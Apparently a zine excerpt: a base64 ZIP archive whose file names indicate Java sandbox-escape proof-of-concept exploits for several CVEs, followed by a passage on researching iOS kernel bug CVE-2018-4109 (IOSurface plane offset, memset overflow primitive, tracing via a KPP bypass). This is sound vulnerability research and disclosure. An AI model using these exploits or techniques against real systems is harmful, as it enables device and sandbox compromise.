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 AACkgckAAABjb2RlL2NvbmZ1c2VkLWRlcHV0eV9DVkUtMjAxMi00NjgxL01pbmltYWwuamF2YVV UBQADKNkwW3V4CwABBOgDAAAE6AMAAFBLAQIeAxQAAAAIAHJv2Uypxf1pegMAAI4IAAAwABgAAA AAAAEAAACkgXsFAABjb2RlL2ludGVnZXItb3ZlcmZsb3dfQ1ZFLTIwMTUtNDg0My9NaW5pbWFsL mphdmFVVAUAAyjZMFt1eAsAAQToAwAABOgDAABQSwECHgMUAAAACAByb9lMjxOAahMEAAC5CAAA NAAYAAAAAAABAAAApIFfCQAAY29kZS90cnVzdGVkLW1ldGhvZC1jaGFpbl9DVkUtMjAxMC0wODQ wL01pbmltYWwuamF2YVVUBQADKNkwW3V4CwABBOgDAAAE6AMAAFBLAQIeAxQAAAAIAHJv2UyQYs LKoAMAAK8JAAA0ABgAAAAAAAEAAACkgeANAABjb2RlL3RydXN0ZWQtbWV0aG9kLWNoYWluX0NWR S0yMDEwLTA4NDAvR2VuRmlsZS5qYXZhVVQFAAMo2TBbdXgLAAEE6AMAAAToAwAAUEsBAh4DFAAA AAgAcm/ZTHkz/KvBAAAAOAEAADEAGAAAAAAAAQAAAKSB7hEAAGNvZGUvdHJ1c3RlZC1tZXRob2Q tY2hhaW5fQ1ZFLTIwMTAtMDg0MC9MaW5rLmphdmFVVAUAAyjZMFt1eAsAAQToAwAABOgDAABQSw ECHgMUAAAACAByb9lM6OmaLOAAAABTAQAAMQAYAAAAAAABAAAApIEaEwAAY29kZS90cnVzdGVkL W1ldGhvZC1jaGFpbl9DVkUtMjAxMC0wODQwL1Rlc3QuamF2YVVUBQADKNkwW3V4CwABBOgDAAAE 6AMAAFBLAQIeAxQAAAAIAHJv2UzsKSCfkwAAAAYBAAAxABgAAAAAAAEAAACkgWUUAABjb2RlL3R ydXN0ZWQtbWV0aG9kLWNoYWluX0NWRS0yMDEwLTA4NDAvaG93dG8udHh0VVQFAAMo2TBbdXgLAA EE6AMAAAToAwAAUEsBAh4DFAAAAAgAcm/ZTK2QRrinAQAAswMAAC4AGAAAAAAAAQAAAKSBYxUAA GNvZGUvdHlwZS1jb25mdXNpb25fQ1ZFLTIwMTctMzI3Mi9NaW5pbWFsLmphdmFVVAUAAyjZMFt1 eAsAAQToAwAABOgDAABQSwECHgMUAAAACAByb9lM39ULbxkCAABBBAAANgAYAAAAAAABAAAApIF yFwAAY29kZS91bmluaXRpYWxpemVkLWluc3RhbmNlX0NWRS0yMDE3LTMyODkvTWluaW1hbC5qYX ZhVVQFAAMo2TBbdXgLAAEE6AMAAAToAwAAUEsBAh4DFAAAAAgAcm/ZTGZFWWr9BAAA7BMAAEwAG AAAAAAAAQAAAKSB+xkAAGNvZGUvdW5pbml0aWFsaXplZC1pbnN0YW5jZV9DVkUtMjAxNy0zMjg5 L0J5cGFzc0NhbGxUb1N1cGVyTWV0aG9kV3JpdGVyLmphdmFVVAUAAyjZMFt1eAsAAQToAwAABOg DAABQSwECHgMUAAAACAByb9lMOlPoHMYDAAA5DAAARwAYAAAAAAABAAAApIF+HwAAY29kZS91bm luaXRpYWxpemVkLWluc3RhbmNlX0NWRS0yMDE3LTMyODkvQ2xhc3NNb2RpZmllckJ5cGFzc1N1c GVyLmphdmFVVAUAAyjZMFt1eAsAAQToAwAABOgDAABQSwECHgMUAAAACAByb9lMatqIP/4AAAC2 AQAAPQAYAAAAAAABAAAApIHFIwAAY29kZS91bmluaXRpYWxpemVkLWluc3RhbmNlX0NWRS0yMDE 3LTMyODkvUG9DQ2xhc3NMb2FkZXIuamF2YVVUBQADKNkwW3V4CwABBOgDAAAE6AMAAFBLAQIeAx QAAAAIAHJv2UyKOIfzRQIAAJ4EAAA6ABgAAAAAAAEAAACkgTolAABjb2RlL3VuaW5pdGlhbGl6Z WQtaW5zdGFuY2VfQ1ZFLTIwMTctMzI4OS9idWlsZF9hbmRfcnVuLnNoVVQFAAMo2TBbdXgLAAEE 6AMAAAToAwAAUEsFBgAAAAAOAA4AqwYAAPMnAAAAAA== <<| | |iOS app| | |AppleD5500.kext| | |<--------------------------+--| | +-------+ Decode video response | +---------------+ | | | | | Fortunately for Apple, communication with every hardware accelerated encoding\decoding driver is sandboxed, meaning each request goes through a "broker" (mediaserverd). This can be extremely time-consuming for an attacker, because it means the communication with AppleD5500.kext is defined by mediaserverd and that an unprivileged attacker can't access "exotic features" without having prior access to the driver (or code execution in a privileged context like mediaserverd). This is how unprivileged apps communicate with AppleD5500.kext: EL0 (user mode) | EL1 (kernel mode) | decode | +-------+ video +------------+ | new +---------------+ | | request | | |sanitized | | | |----------->| | | request | | |iOS app| |mediaserverd|-+---------->|AppleD5500.kext| | | | |<+-----------| | | |<-----------| | | Decode | | | | simplified | | |response | | +-------+ decode +------------+ | +---------------+ response | | | | | | | | _|_ \ / ' +-------------------------------------+ |* Basic video frame validation | |* Confined API | |* Check decoding\encoding permissions| +-------------------------------------+ As we can see from the diagram, not only mediaserverd sanitizes our request, it never forwards requests: in fact, it recreates the request\response accordingly, which limits the attacker's power, both in causing memory corruptions and performing infoleaks. --[ 2 - A bug - how it all got started (IOSurface) The bug was hidden deeply within the AppleD5500.kext file and while I had no intention to reverse engineer AppleD5500.kext, I found myself doing so in pursuit of a candidate for a different bug I found (which Apple silently fixed without issuing a CVE for). While the other bug is not in the scope of this article, in order to understand how CVE-2018-4109 was originally found, it is important to have some background on the other bug. That other bug was in a driver called IOSurface.kext. IOSurface are objects which primarily store framebuffers and pixels and information about these. IOSurface allows transferring a lot of information between processes about framebuffers without causing a lot of overhead. Each IOSurface object has an ID, which can be used as a request to an IOSurfaceRootUserClient object. IOSurfaces map the information between different processes, and thus save the overhead of sending a lot of information between processes. In iOS, a lot of drivers use IOSurface when it comes to graphics. The user doesn't store anything on the IOSurface object except for its ID. This means that in order to use an IOSurface object (for example, for video decoding), the user just needs to supply the ID to the appropriate driver and the original video is extracted from the IOSurface. The video itself is never being sent to the driver as a part of the request. IOSurface objects store a lot of properties about the graphics; one of them is called "plane". For brevity, there was a sign mismatch in the "offset" of the plane. It means that each driver which used the plane's offset (or base), would have had a negative int, while the kernel "IOSurface->getPlaneSize()" function regarded the plane's offset as a uint32_t. So this vulnerability resulted in a buffer overflow. Because surface objects only store that information without really "using" it (e.g performing memory manipulations based on the plane offset), it was necessary to find a different driver that used the plane's offset to actually perform a buffer overflow (or anything else which would give us more primitives). --[ 3 - A bug - finding a primitive for the IOSurface bug Fortunately, if a driver wants to use IOSurface objects, it has to find the "IOSurfaceRoot" service, which is public and is named in the kernel's registryas "IOCoreSurfaceRoot". This means that each driver who actually needs IOSurface will have the string "IOCoreSurfaceRoot". * Please note that IORegistry isn't within the scope of this paper. * You can however read about it in the following Apple's document: https://developer.apple.com/library/archive/documentation/DeviceDrivers/ \ Conceptual/IOKitFundamentals/TheRegistry/TheRegistry.html Looking up the string in IDA yields the following results: __PRELINK_TEXT:__PRELINK_TEXT_hidden: IOCoreSurfaceRoot com.apple.iokit.IOSurface:__cstring: IOCoreSurfaceRoot com.apple.driver.AppleM2ScalerCSC:__cstring: IOCoreSurfaceRoot com.apple.iokit.IOMobileGraphicsFamily:__cstring: IOCoreSurfaceRoot com.apple.driver.AppleD5500:__cstring: IOCoreSurfaceRoot com.apple.driver.AppleAVE:__cstring: IOCoreSurfaceRoot com.apple.drivers.AppleS7002SPUSphere:__cstring: IOCoreSurfaceRoot com.apple.driver.AppleAVD:__cstring: IOCoreSurfaceRoot com.apple.driver.AppleH10CameraInterface:__cstring: IOCoreSurfaceRoot com.apple.iokit.IOAcceleratorFamily:__cstring: IOCoreSurfaceRoot com.apple.iokit.IOAcceleratorFamily:__cstring: IOCoreSurfaceRoot Because Apple's drivers are mostly closed-source, it takes a lot of effort to understand how each driver uses the IOSurface objects. Therefore it was necessary (and just easy) to look for the string "plane" in each one of these drivers. While this doesn't guarantee we actually find anything useful, it's easy and it doesn't consume a lot of time. Fortunately, the following string came up (newlines added for readability): Assertion "outWidth > pIOSurfaceDst->getPlaneWidth(0) || outHeight > pIOSurfaceDst->getPlaneHeight(0) || outWidth < 16 || outHeight < 16 || inWidth < 16 || inHeight < 16" failed in "/BuildRoot/Library/Caches/com.apple.xbs/Sources/AppleD5500/ AppleD5500-165.5/AppleD5500.cpp" at line 3461 goto bail1 Around the usage of that string, there was the following assembly code: SXTW X2, W25 MOV W1, #0x80 MOV X0, X21 BL memset As AppleD5500.kext is closed-source, one needs to guess a lot, and try to infer from the code what is the context in each function. Because we search for the usage of an IOSurface object, which has a vtable, one useful thing would be to add a comment around every virtual call with the function name of the corresponding IOSurface object. Having this and our "plane" string in mind, we expect virtual calls which contain "plane" in their name. To find the vtable of IOSurface (or any vtable of any object in a kext), it is possible to reverse engineer the kext on a macOS. Kexts are still symbolicated on macOS and therefore it is possible to obtain meaningful names for the vtable entries. For the sake of this example, we'll reverse IOSurface.kext here. Opening up the IOSurface kext binary (on macOS it is located in the following path: /System/Library/Extensions/IOSurface.kext/Contents/MacOS/IOSurface), we get a symbolicated kext. To get the actual IOSurface's vtable, we can simply open the "Names" view (Shift+F4 for the keyboard shortcut lovers) and search for the string "vtable for'IOSurface". This will give us the offset-0x10 of the vtable, along with all the entries, symbolicated. Although sometimes the vtable entries are in a different order, they are virtually the same (minus the diff between ARM and Intel CPUs), so it is necessary to make sure you look at the same function and not just blindly picking up the name from the macOS version. This indeed works here: LDR X8, [X19] ; X8=IOSurface.vtable LDR X8, [X8,#0x110] ; X8=&IOSurface->getPlaneSize MOV W1, #0 MOV X0, X19 BLR X8 ; IOSurface->getPlaneSize(0) MOV X23, X0 LDR X8, [X19] ; X8=IOSurface.vtable LDR X8, [X8,#0x110] ; X8=&IOSurface->getPlaneSize MOV W1, #1 MOV X0, X19 BLR X8 ; IOSurface->getPlaneSize(1) MOV X25, X0 SXTW X2, W23 MOV W1, #0x80 LDR X0, [SP,#0x120+var_E0] BL memset ; memset(unk, 0x80, planeSize0) SXTW X2, W25 MOV W1, #0x80 MOV X0, X21 BL memset ; memset(unk, 0x80, planeSize1) So it looks as if we have a new primitive! We can arbitrarily overwrite something with 0x80, while we control the length of the overwrite. We do not control "unk" (which is later revealed that it is the mapping of the IOSurface object; keep reading). The length is taken from the plane member of something we assume is an IOSurface object, which we can arbitrarily control using the vulnerability in IOSurface.kext. Obviously this is a far fetched assumption. Except for the string we found, there's nothing else that hints this is indeed an IOSurface object. To verify that, it is necessary first to understand what AppleD5500 is. AppleD5500 is a video-decoding driver, which is not accessible from the default sandbox. Communication with this device is done solely via mediaserverd, as described in the infographic above (section 1). So the next objective is to see how to trigger the function with the IOSurface usage. The function is approximately 20 functions from the entry point to the driver's communication (AppleD5500::externalMethod) [3]. Apple does not provide us with the right tools to debug the iOS kernel (in fact, it constantly makes it more and more complicated), and macOS doesn't have this driver. While guessing can get you started, getting a deterministic code-flow is something that we want to assure, and not assume, as the direction of our research might be oriented based on such an assumption. --[ 4 - Tracing the iOS kernel I took Yalu102 [4] (thanks to @qwertyoruiopz and @macrograss for that) and utilized its KPP bypass. KPP [5] is a (not so new) mechanism that was introduced in iOS 9, checking the integrity of the text section of the kernel, meaning you can't modify the kernel's text section. I didn't care about setting breakpoints in the kernel, but I just wanted to get a dump of all the registers given a specific address. This would be enough to understand how to control the code-flow, or at least how to progress steadily towards the function which uses the plane from our IOSurface object (and understand whether this was actually an IOSurface object in the first place). What I did was as follows; assuming we want to see the registers' state at address 0x10C: Kernel code with no KPP ------------------ ADDRESS | | 0x100 | | ------------------ | | 0x104 | | ------------------ | | 0x108 | | ------------------ | | 